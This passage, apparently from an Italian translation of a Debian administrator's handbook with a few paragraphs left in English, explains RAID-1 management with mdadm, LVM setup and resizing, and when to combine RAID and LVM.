Used Dev Size : 4189184 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Tue Jun 25 10:22:03 2019

State : clean, resyncing

Active Devices : 2

Working Devices : 2

Failed Devices : 0

Spare Devices : 0

Consistency Policy : resync

Resync Status : 93% complete

Name : mirwiz:1  (local to host debian)

UUID : 7d123734:9677b7d6:72194f7d:9050771c

Events : 16

Number   Major   Minor   RaidDevice State

0       8       64        0      active sync   /dev/sdd2

1       8       80        1      active sync   /dev/sde

# mdadm --detail /dev/md1

/dev/md1:

[...]

State : clean

[...]

SUGGERIMENTO RAID, dischi e partizioni

Come si è visto nell'esempio, i device RAID possono essere costruiti usando delle partizioni e non richiedono interi dischi.

Bisogna fare alcune osservazioni. Prima di tutto, mdadm si accorge che gli elementi fisici hanno dimensioni diverse; poiché ciò implica che verrà perso dello spazio sull'elemento più grande, è richiesta una conferma.

Cosa ancora più importante, notare lo stato del mirror. Lo stato normale di un mirror RAID è che entrambi i dischi abbiano esattamente gli stessi contenuti. Tuttavia, nulla garantisce che ciò sia vero quando il volume viene creato. Il sottosistema RAID perciò fornirà esso stesso questa garanzia, e appena dopo la creazione del device RAID ci sarà una fase di sincronizzazione. Dopo un certo tempo (l'esatta durata dipenderà dall'effettiva dimensione dei dischi…), l'array RAID passa allo stato "attivo" o "pulito". Notare che durante questa fase di ricostruzione, il mirror è in modalità degradata, e la ridondanza non è assicurata. Il guasto di un disco durante questa fase potrebbe comportare la perdita di tutti i dati. Ad ogni modo, è raro che grandi quantità di dati critici vengano memorizzati su un array RAID appena creato prima della sincronizzazione iniziale. Notare che anche in modalità degradata, /dev/md1 è usabile, e vi si può creare sopra un file system, oltre a copiarvi sopra dei dati.

SUGGERIMENTO Avviare un mirror in modalità degradata

A volte non si hanno subito a disposizione due dischi quando si vuole avviare un mirror RAID-1, per esempio perché uno dei dischi che si vogliono includere è già usato per memorizzare i dati che si vogliono spostare nell'array. In questi casi è possibile creare volontariamente un array RAID-1 degradato passando missing invece di un file di device come uno degli argomenti a mdadm. Una volta che i dati sono stati copiati sul «mirror», il vecchio disco può essere aggiunto all'array. A quel punto avrà luogo una sincronizzazione, che darà la ridondanza voluta all'inizio.

SUGGERIMENTO Impostare un mirror senza sincronizzazione

I volumi RAID-1 sono spesso creati per essere usati come nuovo disco, spesso considerato vuoto. L'effettivo contenuto iniziale del disco quindi non è molto importante, visto che basta sapere che i dati scritti dopo la creazione del volume, in particolare il file system, possono essere letti in seguito.

Ci si può quindi chiedere il senso di sincronizzare entrambi i dischi al momento della creazione. Perché preoccuparsi del fatto che i contenuti siano identici in zone del volume di cui si sa che verranno lette solo dopo che sono state scritte?

Per fortuna, questa fase di sincronizzazione può essere evitata passando l'opzione --assume-clean a mdadm. Tuttavia, questa opzione può portare a delle sorprese in casi in cui i dati iniziali saranno letti (per esempio se sui dischi fisici è già presente un file system), che è il motivo per cui non è abilitata in modo predefinito.

Ora si mostrerà cosa succede quando uno degli elementi dell'array RAID 1 si guasta. mdadm, in particolare la sua opzione --fail, permette di simulare uno guasto:

# mdadm /dev/md1 --fail /dev/sde

mdadm: set /dev/sde faulty in /dev/md1

# mdadm --detail /dev/md1

/dev/md1:

[...]

Update Time : Tue Jun 25 11:03:44 2019

State : clean, degraded

Active Devices : 1

Working Devices : 1

Failed Devices : 1

Spare Devices : 0

Consistency Policy : resync

Name : mirwiz:1  (local to host debian)

UUID : 7d123734:9677b7d6:72194f7d:9050771c

Events : 20

Number   Major   Minor   RaidDevice State

-       0        0        0      removed

1       8       80        1      active sync   /dev/sdd2

0       8       64        -      faulty   /dev/sde

I contenuti del volume sono ancora accessibili (e, se montato, le applicazioni non si accorgono di nulla), ma la sicurezza dei dati non è più assicurata: se il disco sdd dovesse a sua volta guastarsi, i dati andrebbero persi. Poiché è meglio evitare questo rischio, si va a sostituire il disco guasto con uno nuovo, sdf:

# mdadm /dev/md1 --add /dev/sdf

mdadm: added /dev/sdf

# mdadm --detail /dev/md1

/dev/md1:

[...]

Raid Devices : 2

Total Devices : 3

Persistence : Superblock is persistent

Update Time : Tue Jun 25 11:09:42 2019

State : clean, degraded, recovering

Active Devices : 1

Working Devices : 2

Failed Devices : 1

Spare Devices : 1

Consistency Policy : resync

Rebuild Status : 27% complete

Name : mirwiz:1  (local to host debian)

UUID : 7d123734:9677b7d6:72194f7d:9050771c

Events : 26

Number   Major   Minor   RaidDevice State

2       8       96        0      spare rebuilding   /dev/sdf

1       8       80        1      active sync   /dev/sdd2

0       8       64        -      faulty   /dev/sde

# [...]

[...]

# mdadm --detail /dev/md1

/dev/md1:

[...]

Update Time : Tue Jun 25 11:10:47 2019

State : clean

Active Devices : 2

Working Devices : 2

Failed Devices : 1

Spare Devices : 0

Consistency Policy : resync

Name : mirwiz:1  (local to host debian)

UUID : 7d123734:9677b7d6:72194f7d:9050771c

Events : 39

Number   Major   Minor   RaidDevice State

2       8       96        0      active sync   /dev/sdd2

1       8       80        1      active sync   /dev/sdf

0       8       64        -      faulty   /dev/sde

Anche qui, il kernel attiva automaticamente una fase di ricostruzione durante la quale il volume, sebbene ancora accessibile, è in modalità degradata. Una volta finita la ricostruzione, l'array RAID torna a uno stato normale. A questo punto si può dire al sistema che il disco sde sta per essere rimosso dall'array, così da arrivare a un classico mirror RAID su due dischi:

# mdadm /dev/md1 --remove /dev/sde

mdadm: hot removed /dev/sde from /dev/md1

# mdadm --detail /dev/md1

/dev/md1:

[...]

Number   Major   Minor   RaidDevice State

2       8       96        0      active sync   /dev/sdd2

1       8       80        1      active sync   /dev/sdf

Da questo punto il drive può essere rimosso fisicamente al prossimo spegnimento del server, o anche rimosso a caldo quando la configurazione hardware permette l'hot-swap. Tali configurazioni includono alcuni controller SCSI, la maggior parte dei dischi SATA e i dischi esterni che operano su USB o Firewire.

12.1.1.3. Fare il backup della configurazione

La maggior parte dei meta-dati riguardanti i volumi RAID sono salvati direttamente sui dischi che compongono questi array, cosicché il kernel può rilevare gli array e i loro componenti e assemblarli automaticamente all'avvio del sistema. Tuttavia, è consigliabile fare copie di riserva di questa configurazione, perché questo rilevamento non è infallibile, ed è ovvio che fallisca proprio in circostanze delicate. Nell'esempio in questione, se il guasto al disco sdh fosse stato reale (invece di essere solo una simulazione) e il sistema si fosse riavviato senza rimuovere questo disco sdh, questo disco si sarebbe attivato di nuovo, essendo stato riconosciuto durante il riavvio. A quel punto il kernel avrebbe tre elementi fisici, ciascuno dei quali direbbe di contenere metà dello stesso volume RAID. Un'altra fonte di confusione può sorgere quando volumi RAID di due server vengono consolidati su un solo server. Se questi array stavano funzionando normalmente prima che i dischi fossero spostati, il kernel potrebbe rilevare e riassemblare le coppie correttamente; ma se i dischi spostati sono stati aggregati in un md1 sul vecchio server e il nuovo server ha già un md1, uno dei mirror verrebbe rinominato.

È quindi importante fare il backup della configurazione, se non altro per avere un riferimento. Il modo standard di farlo è modificare il file /etc/mdadm/mdadm.conf, un esempio del quale è mostrato qui:

Esempio 12.1. File di configurazione di mdadm

# mdadm.conf

#

# !NB! Run update-initramfs -u after updating this file.

# !NB! This will ensure that initramfs has an uptodate copy.

#

# Please refer to mdadm.conf(5) for information about this file.

#

# by default (built-in), scan all partitions (/proc/partitions) and all

# containers for MD superblocks. alternatively, specify devices to scan, using

# wildcards if desired.

DEVICE /dev/sd*

# auto-create devices with Debian standard permissions

CREATE owner=root group=disk mode=0660 auto=yes

# automatically tag new arrays as belonging to the local system

HOMEHOST <system>

# instruct the monitoring daemon where to send mail alerts

MAILADDR root

# definitions of existing MD arrays

ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=146e104f:66ccc06d:71c262d7:9af1fbc7

ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=7d123734:9677b7d6:72194f7d:9050771c

# This configuration was auto-generated on Tue, 25 Jun 2019 07:54:35 -0400 by mkconf

Uno dei dettagli più utili è l'opzione DEVICE, che elenca i dispositi in cui il sistema cercherà automaticamente le componenti dei volumi RAID all'avvio. Nell'esempio in questione, abbiamo sostituito il valore predefinito, partitions containers, con una lista esplicita dei file di dispositi, poiché si è scelto di usare dei dischi interi e non solo delle partizioni, per alcuni volumi.

Le ultime due righe nell'esempio sono quelle che permettono al kernel di scegliere in sicurezza quale numero di volume assegnare a ciascun array. I metadati memorizzati sui dischi stessi sono sufficienti a riassemblare i volumi ma non a determinare i numeri di volume (e il corrispondente nome di device /dev/md*).

Per fortuna, queste righe si possono generare automaticamente:

# mdadm --misc --detail --brief /dev/md?

ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=146e104f:66ccc06d:71c262d7:9af1fbc7

ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=7d123734:9677b7d6:72194f7d:9050771c

I contenuti di queste ultime due righe non dipendono dall'elenco dei dischi inclusi nel volume. Pertanto non è necessario rigenerare queste righe quando si sostituisce un disco guasto con uno nuovo. D'altro canto, bisogna avere cura di aggiornare il file quando si crea o si elimina un array RAID.

12.1.2. LVM

LVM, il Logical Volume Manager (Gestore Volume Logico) , è un altro approccio per astrarre volumi logici dai loro supporti fisici, che si concentra più sull'aumento della flessibilità che sull'aumento dell'affidabilità. LVM permette la modifica di un volume logico in modo trasparente dal punto di vista delle applicazioni; per esempio, è possibile aggiungere nuovi dischi, migrare i dati ad esso, e rimuovere i vecchi dischi, senza smontare il volume.

12.1.2.1. Concetti relativi a LVM

Questa flessibilità si raggiunge tramite un livello di astrazione che riguarda tre concetti.

Primo, il PV (Physical Volume, volume fisico) è l'entità più vicina all'hardware: i volumi fisici possono essere partizioni di un disco, o un disco completo, o anche qualunque altro dispositivo a blocchi (incluso, ad esempio, un array RAID). Notare che quando un elemento fisico viene configurato come PV per LVM, vi si deve accedere solo via LVM, altrimenti il sistema si confonderà.

A number of PVs can be clustered in a VG (Volume Group), which can be compared to disks both virtual and extensible. VGs are abstract, and don't appear in a device file in the /dev hierarchy, so there is no risk of using them directly.

Il terzo tipo di oggetto è il LV (Logical Volume, volume logico), che è una parte di un VG; proseguendo con l'analogia fra VG e dischi, il LV è simile a una partizione. Il LV appare come un dispositivo a blocchi con una voce in /dev, e può essere usato come ogni altra partizione fisica (più di frequente, per ospitare un filesystem o spazio di swap).

La cosa importante è che la divisione di un VG in LV è completamente indipendente dai suoi componenti fisici (i PV). Un VG con un solo componente fisico (per esempio un disco) può essere diviso in una dozzina di volumi logici; allo stesso modo, un VG può usare diversi dischi fisici e apparire come un unico grande volume logico. L'unico vincolo, ovviamente, è che la dimensione totale allocata ai LV non può superare la capacità totale dei PV nel gruppo di volume.

Spesso comunque ha un senso avere una certa omogeneità fra le componenti fisiche di un VG, e suddividere i VG in volumi logici che avranno modelli d'uso simili. Per esempio, se l'hardware disponibile include dischi rapidi e dischi più lenti, quelli rapidi possono essere raggruppati in un VG e quelli più lenti in un altro; blocchi del primo possono quindi essere assegnati ad applicazioni che richiedono un accesso rapido ai dati, mentre il secondo sarà tenuto per compiti meno impegnativi.

In ogni caso, è bene tenere a mente che un LV non è particolarmente legato a un singolo PV. È possibile indicare dove sono fisicamente memorizzati i dati di un LV, ma questa possibilità non è richiesta per un uso quotidiano. Al contrario: quando l'insieme dei componenti fisici di un VG evolve, il luogo fisico di stoccaggio che corrisponde a un particolare LV può essere migrato da un disco a un altro (ovviamente rimanendo all'interno dei PV assegnati ai VG).

12.1.2.2. Impostazione di un LVM

Si seguirà ora, passo per passo, il processo di impostazione di un LVM per un tipico caso d'uso: semplificare una situazione complessa di memorizzazione dati. Una tale situazione di solito si ha dopo una lunga e intricata storia fatta di misure temporanee accumulatesi nel tempo. A scopo illustrativo, si considererà un server in cui le necessità di memorizzazione sono cambiate nel tempo, arrivando ad avere alla fine un labirinto di partizioni disponibili sparse fra diversi dischi usati parzialmente. In termini più concreti, sono disponibili le seguenti partizioni:

- sul disco sdb, una partizione sdb2, 4 GB;

- sul disco sdc, una partizione sdc3, 3 GB;

- il disco sdd, 4 GB, è completamente disponibile;

- sul disco sdf, una partizione sdf1, 4 GB e una partizione sdf2, 5 GB.

Inoltre, si suppone che i dischi sdb e sdf siano più veloci degli altri due.

Lo scopo è di impostare tre volumi logici per tre diverse applicazioni: un file server che richiede 5 GB di spazio disco, un database (1 GB) e un po' di spazio per i backup (12 GB). I primi due hanno bisogno di buone prestazioni, ma i backup sono meno critici in termini di velocità di accesso. Tutti questi vincoli impediscono di usare le partizioni così come sono; l'uso di LVM permette di astrarre dalla dimensione fisica dei dispositivi, cosicché l'unico limite è lo spazio totale disponibile.

Gli strumenti richiesti sono nel pacchetto lvm2 e nelle sue dipendenze. Una volta installati, impostare un LVM richiede tre passi, che corrispondono ai tre livelli di concetti.

Prima di tutto si preparano i volumi fisici usando pvcreate:

# pvcreate /dev/sdb2

Physical volume "/dev/sdb2" successfully created.

# pvdisplay

"/dev/sdb2" is a new physical volume of "4.00 GiB"

--- NEW Physical volume ---

PV Name               /dev/sdb2

VG Name

PV Size               4.00 GiB

Allocatable           NO

PE Size               0

Total PE              0

Free PE               0

Allocated PE          0

PV UUID               z4Clgk-T5a4-C27o-1P0E-lIAF-OeUM-e7EMwq

# for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done

Physical volume "/dev/sdc3" successfully created.

Physical volume "/dev/sdd" successfully created.

Physical volume "/dev/sdf1" successfully created.

Physical volume "/dev/sdf2" successfully created.

# pvdisplay -C

PV         VG Fmt  Attr PSize  PFree

/dev/sdb2     lvm2 ---   4.00g  4.00g

/dev/sdc3     lvm2 ---   3.00g  3.00g

/dev/sdd      lvm2 ---   4.00g  4.00g

/dev/sdf1     lvm2 ---   4.00g  4.00g

/dev/sdf2     lvm2 ---  <5.00g <5.00g

Finora tutto bene: notare che un PV può essere impostato su tutto un disco così come su singole partizioni. Come mostrato sopra, il comando pvdisplay elenca le PV esistenti, con due possibili formati di output.

Ora si assemblano questi elementi fisici in VG usando vgcreate. Solo le PV dei dischi più veloci saranno riunite in un VG vg_critical; l'altro VG, vg_normal, includerà anche gli elementi più lenti.

# vgcreate vg_critical /dev/sdb2 /dev/sdf1

Volume group "vg_critical" successfully created

# vgdisplay

--- Volume group ---

VG Name               vg_critical

System ID

Format                lvm2

Metadata Areas        2

Metadata Sequence No  1

VG Access             read/write

VG Status             resizable

MAX LV                0

Cur LV                0

Open LV               0

Max PV                0

Cur PV                2

Act PV                2

VG Size               7.99 GiB

PE Size               4.00 MiB

Total PE              2046

Alloc PE / Size       0 / 0

Free  PE / Size       2046 / 7.99 GiB

VG UUID               wAbBjx-d82B-q7St-0KFf-z40h-w5Mh-uAXkNZ

# vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2

Volume group "vg_normal" successfully created

# vgdisplay -C

VG          #PV #LV #SN Attr   VSize   VFree

vg_critical   2   0   0 wz--n-   7.99g   7.99g

vg_normal     3   0   0 wz--n- <11.99g <11.99g

Anche qui, i comandi sono piuttosto semplici (e vgdisplay propone due formati di output). Notare che è possibile usare due partizioni dello stesso disco fisico in due diversi VG. Notare inoltre che si è usato un prefisso vg_ per nominare i VG, ma non è altro che una convenzione.

We now have two “virtual disks”, sized about 8 GB and 12 GB respectively. Let's now carve them up into “virtual partitions” (LVs). This involves the lvcreate command, and a slightly more complex syntax:

# lvdisplay

# lvcreate -n lv_files -L 5G vg_critical

Logical volume "lv_files" created.

# lvdisplay

--- Logical volume ---

LV Path                /dev/vg_critical/lv_files

LV Name                lv_files

VG Name                vg_critical

LV UUID                W6XT08-iBBx-Nrw2-f8F2-r2y4-Ltds-UrKogV

LV Write Access        read/write

LV Creation host, time debian, 2019-11-30 22:45:46 -0500

LV Status              available

# open                 0

LV Size                5.00 GiB

Current LE             1280

Segments               2

Allocation             inherit

Read ahead sectors     auto

- currently set to     256

Block device           254:0

# lvcreate -n lv_base -L 1G vg_critical

Logical volume "lv_base" created.

# lvcreate -n lv_backups -L 11.98G vg_normal

Rounding up size to full physical extent 11.98 GiB

Logical volume "lv_backups" created.

# lvdisplay -C

LV         VG          Attr     LSize  Pool Origin Data%  Meta%  Move Log Cpy%Sync  Convert

lv_base    vg_critical -wi-a---  1.00g

lv_files   vg_critical -wi-a---  5.00g

lv_backups vg_normal   -wi-a--- 11.98g

La creazione di volumi logici richiede due parametri che devono essere passati come opzioni al comando lvcreate. Il nome dei LV da creare viene specificato con l'opzione -n e la sua dimensione viene generalmente data usando l'opzione -L. Ovviamente bisogna anche dire al comando su quale VG operare, da cui l'ultimo parametro sulla riga di comando.

APPROFONDIMENTI Opzioni di lvcreate

Il comando lvcreate ha diverse opzioni per poter specificare i dettagli della creazione del LV.

Prima si descrive l'opzione -l, con cui si può specificare la dimensione del LV come numero di blocchi (invece delle unità «umane» usate sopra). Questi blocchi (chiamati PE, physical extents, estensioni fisiche, in termini LVM) sono unità contigue di spazio di memorizzazione e non possono essere divisi fra più LV. Quando si vuol definire lo spazio di memorizzazione con una certa precisione¸per esempio per usare tutto lo spazio disponibile, probabilmente è meglio usare l'opzione -l piuttosto che -L.

It is also possible to hint at the physical location of an LV, so that its extents are stored on a particular PV (while staying within the ones assigned to the VG, of course). Since we know that sdb is faster than sdf, we may want to store the lv_base there if we want to give an advantage to the database server compared to the file server. The command line becomes: lvcreate -n lv_base -L 1G vg_critical /dev/sdb2. Note that this command can fail if the PV doesn't have enough free extents. In our example, we would probably have to create lv_base before lv_files to avoid this situation – or free up some space on sdb2 with the pvmove command.

Una volta creati, i volumi logici si trovano come file di device a blocchi in /dev/mapper/:

# ls -l /dev/mapper

total 0

crw------- 1 root root 10, 236 Jun 10 16:52 control

lrwxrwxrwx 1 root root       7 Jun 10 17:05 vg_critical-lv_base -> ../dm-1

lrwxrwxrwx 1 root root       7 Jun 10 17:05 vg_critical-lv_files -> ../dm-0

lrwxrwxrwx 1 root root       7 Jun 10 17:05 vg_normal-lv_backups -> ../dm-2

# ls -l /dev/dm-*

brw-rw---T 1 root disk 253, 0 Jun 10 17:05 /dev/dm-0

brw-rw---- 1 root disk 253, 1 Jun 10 17:05 /dev/dm-1

brw-rw---- 1 root disk 253, 2 Jun 10 17:05 /dev/dm-2

NOTE Auto-detecting LVM volumes

All'avvio del computer, l'unità di servizio di systemd lvm2-activation esegue vgchange -aay per "attivare" i gruppi di volumi: passa in rassegna i device disponibili; quelli che sono stati inizializzati come volumi fisici per LVM sono registrati nel sottosistema LVM, quelli che appartengono a gruppi di volume vengono assemblati e i relativi volumi logici vengono avviati e resi disponibili. Non c'è quindi bisogno di modificare file di configurazione quando si creano o si modificano volumi LVM.

Notare, tuttavia, che la disposizione degli elementi LVM (volumi fisici e logici e gruppi di volume) viene replicata in /etc/lvm/backup, che può essere utile in caso di problemi (o solo per dare un'occhiata a cosa succede).

Per facilitare le cose, vengono inoltre creati dei comodi collegamenti simbolici in directory corrispondenti ai VG:

# ls -l /dev/vg_critical

total 0

lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_base -> ../dm-1

lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_files -> ../dm-0

# ls -l /dev/vg_normal

total 0

lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_backups -> ../dm-2

I LV possono quindi essere usati esattamente come normali partizioni:

# mkfs.ext4 /dev/vg_normal/lv_backups

mke2fs 1.44.5 (15-Dec-2018)

Discarding device blocks: done

Creating filesystem with 3140608 4k blocks and 786432 inodes

Filesystem UUID: b9e6ed2f-cb37-43e9-87d8-e77568446225

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208

Allocating group tables: done

Writing inode tables: done

Creating journal (16384 blocks): done

Writing superblocks and filesystem accounting information: done

# mkdir /srv/backups

# mount /dev/vg_normal/lv_backups /srv/backups

# df -h /srv/backups

Filesystem                        Size  Used Avail Use% Mounted on

/dev/mapper/vg_normal-lv_backups   12G   41M   12G   1% /srv/backups

# [...]

[...]

# cat /etc/fstab

[...]

/dev/vg_critical/lv_base    /srv/base       ext4 defaults 0 2

/dev/vg_critical/lv_files   /srv/files      ext4 defaults 0 2

/dev/vg_normal/lv_backups   /srv/backups    ext4 defaults 0 2

Dal punto di vista delle applicazioni, la miriade di piccole partizioni è stata ora astratta in un grande volume di 12 GB con un nome più familiare.

12.1.2.3. LVM nel tempo

Anche se la capacità di aggregare partizioni o dischi fisici è comoda, questo non è il vantaggio principale di LVM. La sua flessibilità si nota soprattutto col passare del tempo, quando le necessità evolvono. Nell'esempio, si supponga di dover memorizzare dei nuovi grandi file e che il LV dedicato al file server sia troppo piccolo per contenerli. Poiché non si è usato tutto lo spazio disponibile in vg_critical, si può espandere lv_files. A questo scopo, si usa il comando lvresize, quindi resize2fs per adattare il file system di conseguenza:

# df -h /srv/files/

Filesystem                        Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_files  4.9G  4.2G  485M  90% /srv/files

# lvdisplay -C vg_critical/lv_files

LV       VG          Attr     LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync  Convert

lv_files vg_critical -wi-ao-- 5.00g

# vgdisplay -C vg_critical

VG          #PV #LV #SN Attr   VSize VFree

vg_critical   2   2   0 wz--n- 7.99g 1.99g

# lvresize -L 6G vg_critical/lv_files

Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to 6.00 GiB (1536 extents).

Logical volume vg_critical/lv_files successfully resized.

# lvdisplay -C vg_critical/lv_files

LV       VG          Attr       LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert

lv_files vg_critical -wi-ao---- 6.00g

# resize2fs /dev/vg_critical/lv_files

resize2fs 1.44.5 (15-Dec-2018)

Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required

old_desc_blocks = 1, new_desc_blocks = 1

The filesystem on /dev/vg_critical/lv_files is now 1572864 (4k) blocks long.

# df -h /srv/files/

Filesystem                        Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_files  5.9G  4.2G  1.5G  75% /srv/files

ATTENZIONE Ridimensionare i file system

Not all filesystems can be resized online; resizing a volume can therefore require unmounting the filesystem first and remounting it afterwards. Of course, if one wants to shrink the space allocated to an LV, the filesystem must be shrunk first; the order is reversed when the resizing goes in the other direction: the logical volume must be grown before the filesystem on it. It is rather straightforward, since at no time must the filesystem size be larger than the block device where it resides (whether that device is a physical partition or a logical volume).

I file system ext3, ext4 e xfs possono essere allargati a caldo, senza smontarli; per restringerli vanno invece smontati. Il file system reiserfs permette il ridimensionamento a caldo in entrambe le direzioni. Il buon vecchio ext2 non permette alcuna delle due cose e richiede sempre di essere smontato.

Si potrebbe procedere in modo simile per estendere il volume che ospita il database, ma è stato raggiunto il limite di spazio disponibile del VG:

# df -h /srv/base/

Filesystem                       Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_base  976M  882M   28M  97% /srv/base

# vgdisplay -C vg_critical

VG          #PV #LV #SN Attr   VSize VFree

vg_critical   2   2   0 wz--n- 7.99g 1016.00m

Questo non è un problema, dal momento che LVM permette di aggiungere volumi fisici a gruppi di volume esistenti. Per esempio, si può notare che la partizione sdb1, che finora era stata usata al di fuori di LVM, conteneva solo archivi che potrebbero essere spostati su lv_backups. La si può quindi riciclare e integrare nel gruppo di volume, liberando così dello spazio utilizzabile. Questo è lo scopo del comando vgextend. Ovviamente la partizione deve essere preparata in precedenza come volume fisico. Una volta che il VG è stato esteso, possiamo usare comandi simili ai precedenti per espandere il volume logico e poi il file system:

# pvcreate /dev/sdb1

Physical volume "/dev/sdb1" successfully created.

# vgextend vg_critical /dev/sdb1

Volume group "vg_critical" successfully extended

# vgdisplay -C vg_critical

VG          #PV #LV #SN Attr   VSize  VFree

vg_critical   3   2   0 wz--n- <9.99g <1.99g

# [...]

[...]

# df -h /srv/base/

Filesystem                       Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_base  2.0G  882M  994M  48% /srv/base

APPROFONDIMENTI LVM avanzato

LVM also caters for more advanced uses, where many details can be specified by hand. For instance, an administrator can tweak the size of the blocks that make up physical and logical volumes, as well as their physical layout. It is also possible to move blocks across PVs, for instance, to fine-tune performance or, in a more mundane way, to free a PV when one needs to extract the corresponding physical disk from the VG (whether to affect it to another VG or to remove it from LVM altogether). The manual pages describing the commands are generally clear and detailed. A good entry point is the lvm(8) manual page.

12.1.3. RAID o LVM?

RAID e LVM portano entrambi indiscutibili vantaggi quando si abbandona il caso semplice di un computer desktop con un solo disco fisso in cui il modello d'uso non cambia nel tempo. Tuttavia, RAID e LVM vanno in due direzioni differenti, con scopi distinti ed è giusto chiedersi quale dei due adottare. La risposta più appropriata ovviamente dipenderà dai requisiti attuali e da quelli prevedibili in futuro.

Ci sono alcuni casi semplici in cui il problema non si pone. Se il requisito è di salvaguardare i dati da guasti hardware, allora ovviamente si configurerà RAID su un array ridondante di dischi, in quanto LVM non risolve questo problema. Se, d'altro canto, c'è bisogno di uno schema flessibile per memorizzare dati dove i volumi siano indipendenti dalla disposizione fisica dei dischi, il RAID non è molto d'aiuto e LVM è la scelta naturale.

NOTA Se importanto le performance…

Se la velocità di input/output è essenziale, soprattutto in termini di tempi di accesso, l'utilizzo di LVM e/o RAID in uno delle tante combinazioni può avere un certo impatto sulle prestazioni, e questo può influenzare le decisioni su quale per scegliere. Tuttavia, queste differenze di prestazioni sono molto minori, e saranno misurabili solo in pochi casi di utilizzo. Se si cercano maggiori performance, il miglior modo per ottenerle sarebbe quello di utilizzare supporti di memorizzazione non-rotanti (solid-state drives o SSDs); il costo per megabyte è superiore a quello degli hard disk standard, e la loro capacità è di solito più piccola, ma forniscono prestazioni eccellenti per accessi casuali. Se il modello di utilizzo include molte operazioni di input/output sparse in tutto il filesystem, ad esempio per i database in cui sono regolarmente in esecuzione query complesse, allora il vantaggio di una loro esecuzione su un SSD supera di gran lunga qualunque cosa si potrebbe avere scegliendo LVM su RAID o il contrario. In queste situazioni, la scelta dovrebbe essere determinata da altre considerazioni più che dalla velocità pura, dal momento che l'aspetto delle prestazioni è più facilmente gestitibile utilizzando gli SSD.

Il terzo importante caso d'uso è quando si vuole semplicemente aggregare due dischi in un unico volume, per motivi di prestazioni o per avere un unico file system più grande di qualunque disco disponibile. Questo caso può essere affrontato sia utilizzando un RAID-0 (o addirittura un linear-RAID) sia tramite un volume LVM. In questa situazione, senza considerare ulteriori vincoli (per esempio, mantenere la coerenza con altre macchine se queste usano solo RAID), la configurazione preferita di solito sarà LVM. L'impostazione iniziale è appena più complessa, ma questo leggero aumento di complessità è più che compensato dall'aumentata flessibilità di LVM nel caso i requisiti cambiassero o si dovessero aggiungere nuovi dischi.

Poi, ovviamente, c'è il caso d'uso veramente interessante, in cui il sistema di memorizzazione deve essere reso sia resistente ai guasti hardware sia flessibile in termini di allocazione di volumi. Né RAID né LVM possono di per sé soddisfare entrambi i requisiti; ciò non è un problema, perché qui si possono usare entrambi contemporaneamente, o piuttosto, uno sopra l'altro. Lo schema che è diventato lo standard da quando RAID e LVM hanno raggiunto la maturità è di assicurare prima di tutto la ridondanza dei dati raggruppando i dischi in un piccolo numero di array RAID e usare questi array RAID come volumi fisici LVM; a questo punto si creano i file system tramite partizioni logiche all'interno di questi LV. Il punto di forza di questa impostazione è che quando un disco si guasta si deve ricostruire solo un piccolo numero di array RAID, limitando così il tempo speso dall'amministratore per il ripristino.

Si faccia un esempio concreto: il dipartimento di pubbliche relazioni alla Falcot Corp ha bisogno di una postazione di lavoro per l'editing video, ma il bilancio del dipartimento non permette di investire in hardware di fascia alta per tutti i componenti. Si prende la decisione di favorire l'hardware specifico per la natura grafica del lavoro (monitor e scheda video) e di rimanere con hardware generico per quanto riguarda la memorizzazione dei dati. Tuttavia, come è ben noto, il video digitale ha dei requisiti particolari per la memorizzazione dei suoi dati: la quantità di dati da memorizzare è grande e il tasso di throughput per leggere e scrivere questi dati è importante per le prestazioni globali del sistema (più del tipico tempo di accesso, per esempio). Questi vincoli devono essere soddisfatti con hardware generico, in questo caso due dischi SATA da 300 GB; i dati del sistema devono inoltre essere resi resistenti ai guasti hardware, così come parte dei dati degli utenti. I video elaborati devono infatti essere al sicuro, ma i provini durante le modifiche sono meno critici, in quanto sono ancora sui nastri.

RAID-1 e LVM vengono combinati per soddisfare questi vincoli. I dischi sono collegati a due controller SATA diversi per ottimizzare l'accesso in parallelo e ridurre i rischi di guasto simultaneo e quindi appaiono come sda e sdc. Vengono partizionati in modo identico secondo il seguente schema:

# fdisk -l /dev/sda

Disk /dev/sda: 300 GB, 300090728448 bytes, 586114704 sectors

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Disklabel type: dos

Disk identifier: 0x00039a9f

Device    Boot     Start       End   Sectors Size Id Type

/dev/sda1 *         2048   1992060   1990012 1.0G fd Linux raid autodetect

/dev/sda2        1992061   3984120   1992059 1.0G 82 Linux swap / Solaris

/dev/sda3        4000185 586099395 582099210 298G 5  Extended

/dev/sda5        4000185 203977305 199977120 102G fd Linux raid autodetect

/dev/sda6      203977306 403970490 199993184 102G fd Linux raid autodetect

/dev/sda7      403970491 586099395 182128904  93G 8e Linux LVM

- Le prime partizioni di entrambi i dischi (circa 1 GB) sono assemblate in un volume RAID-1, md0. Questo mirror è usato direttamente per contenere il file system di root.

- Le partizioni sda2 e sdc2 sono usate come partizioni di swap, dando un totale di 2 GB di spazio di swap. Con 1 GB di RAM, la postazione di lavoro ha una quantità sufficiente di memoria disponibile.

